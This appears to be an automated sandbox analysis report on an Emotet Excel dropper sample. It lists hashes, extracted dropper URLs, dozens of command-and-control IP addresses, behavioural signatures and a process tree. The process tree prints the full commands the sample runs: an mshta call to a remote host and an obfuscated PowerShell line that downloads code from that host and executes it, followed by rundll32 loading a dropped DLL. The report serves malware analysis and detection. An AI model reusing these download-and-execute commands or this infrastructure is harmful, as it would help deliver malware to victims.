emotet | fe3cbdda25907df56ade5f43b4838bd8435f8e80cf94987da5b538ad83c4b52a

Analysis

max time kernel
160s
max time network
159s
platform
windows10_x64
resource
win10-en-20211208
submitted
28/01/2022, 16:43

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General

Target
tmppl43whlr.xls
Size 85KB
Sample220128-t79aesgfeq
SHA256 fe3cbdda25907df56ade5f43b4838bd8435f8e80cf94987da5b538ad83c4b52a
MD5 171fbb8f967a72a922bfce6ce8000134
SHA1 042aea0cb4b5036ff4923e533a35c8b9f5746a65
SHA512 9ffbc21b49ebb96485c48fb2df28064f6afd7b0415556423dabab4976fcec57f91a0a6e7f7ce67a95fcbd3192cc8757d7ac8ab70682ae2d0651bc1de3a5a0929
MD5 SHA1 SHA512

Score

10^/10

emotet epoch4 banker trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://91.240.118.172/gg/ff/fe.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://91.240.118.172/gg/ff/fe.png

Extracted

Family

emotet

Botnet

Epoch4

160.16.102.168:80
131.100.24.231:80
200.17.134.35:7080
207.38.84.195:8080
212.237.56.116:7080
58.227.42.236:80
104.251.214.46:8080
158.69.222.101:443
192.254.71.210:443
46.55.222.11:443
45.118.135.203:7080
107.182.225.142:8080
103.75.201.2:443
104.168.155.129:8080
195.154.133.20:443
159.8.59.82:8080
110.232.117.186:8080
45.142.114.231:8080
41.76.108.46:8080
203.114.109.124:443
50.116.54.215:443
209.59.138.75:7080
185.157.82.211:8080
164.68.99.3:8080
162.214.50.39:7080
138.185.72.26:8080
178.63.25.185:443
51.15.4.22:443
81.0.236.90:443
216.158.226.206:443
45.176.232.124:443
162.243.175.63:443
212.237.17.99:8080
45.118.115.99:8080
129.232.188.93:443
173.214.173.220:8080
178.79.147.66:8080
176.104.106.96:8080
51.38.71.0:443
173.212.193.249:8080
217.182.143.207:443
212.24.98.99:8080
159.89.230.105:443
79.172.212.216:8080
212.237.5.209:443

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1232	2524	CMD.EXE	68

Blocklisted process makes network request 4 IoCs

flow	pid	Process
40	3332	mshta.exe
43	872	powershell.exe
45	872	powershell.exe
52	872	powershell.exe

Downloads MZ/PE file

Loads dropped DLL 1 IoCs

pid	Process
3824	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3020	3332	WerFault.exe	76

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2524	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 17 IoCs

pid	Process
872	powershell.exe
872	powershell.exe
3020	WerFault.exe
3020	WerFault.exe
3020	WerFault.exe
3020	WerFault.exe
3020	WerFault.exe
3020	WerFault.exe
3020	WerFault.exe
3020	WerFault.exe
3020	WerFault.exe
3020	WerFault.exe
3020	WerFault.exe
3020	WerFault.exe
3020	WerFault.exe
3020	WerFault.exe
872	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	872	powershell.exe
Token: SeDebugPrivilege	3020	WerFault.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
2524	EXCEL.EXE
2524	EXCEL.EXE
2524	EXCEL.EXE
2524	EXCEL.EXE
2524	EXCEL.EXE
2524	EXCEL.EXE
2524	EXCEL.EXE
2524	EXCEL.EXE
2524	EXCEL.EXE
2524	EXCEL.EXE
2524	EXCEL.EXE
2524	EXCEL.EXE

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2524 wrote to memory of 1232	2524	EXCEL.EXE	74
PID 2524 wrote to memory of 1232	2524	EXCEL.EXE	74
PID 3332 wrote to memory of 872	3332	mshta.exe	79
PID 3332 wrote to memory of 872	3332	mshta.exe	79
PID 872 wrote to memory of 4036	872	powershell.exe	81
PID 872 wrote to memory of 4036	872	powershell.exe	81
PID 4036 wrote to memory of 3824	4036	cmd.exe	82
PID 4036 wrote to memory of 3824	4036	cmd.exe	82
PID 4036 wrote to memory of 3824	4036	cmd.exe	82

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmppl43whlr.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2524
- C:\Windows\SYSTEM32\CMD.EXE
  CMD.EXE /c mshta http://91.240.118.172/gg/ff/fe.html
  2⤵
  - Process spawned unexpected child process
  PID:1232
- - C:\Windows\system32\mshta.exe
    mshta http://91.240.118.172/gg/ff/fe.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:3332
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3332 -s 1648
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3020
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.172/gg/ff/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:872
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\JooSee.dll,ssAAqq
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4036
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\ProgramData\JooSee.dll,ssAAqq
        6⤵
        Loads dropped DLL
        
        PID:3824
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\JooSee.dll",DllRegisterServer
        7⤵
        
        PID:1804

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/872-297-0x00000188F7750000-0x00000188F778C000-memory.dmp

Download

memory/872-315-0x00000188DF450000-0x00000188F7650000-memory.dmp

Download

memory/872-314-0x00000188DF450000-0x00000188F7650000-memory.dmp

Download

memory/872-313-0x00000188DF450000-0x00000188F7650000-memory.dmp

Download

memory/872-308-0x00000188F7C60000-0x00000188F7CD6000-memory.dmp

Download

memory/872-278-0x00000188F7580000-0x00000188F75A2000-memory.dmp

Download

memory/2524-128-0x00007FF937180000-0x00007FF937190000-memory.dmp

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memory/2524-129-0x00007FF937180000-0x00007FF937190000-memory.dmp

Download

memory/2524-115-0x00007FF93ACF0000-0x00007FF93AD00000-memory.dmp

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memory/2524-119-0x00007FF93ACF0000-0x00007FF93AD00000-memory.dmp

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memory/2524-118-0x00007FF93ACF0000-0x00007FF93AD00000-memory.dmp

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memory/2524-117-0x00007FF93ACF0000-0x00007FF93AD00000-memory.dmp

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memory/2524-116-0x00007FF93ACF0000-0x00007FF93AD00000-memory.dmp

Download

memory/2524-362-0x00007FF93ACF0000-0x00007FF93AD00000-memory.dmp

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memory/2524-364-0x00007FF93ACF0000-0x00007FF93AD00000-memory.dmp

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memory/2524-363-0x00007FF93ACF0000-0x00007FF93AD00000-memory.dmp

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memory/2524-365-0x00007FF93ACF0000-0x00007FF93AD00000-memory.dmp

Download

memory/3824-366-0x00000000001D0000-0x00000000001F5000-memory.dmp

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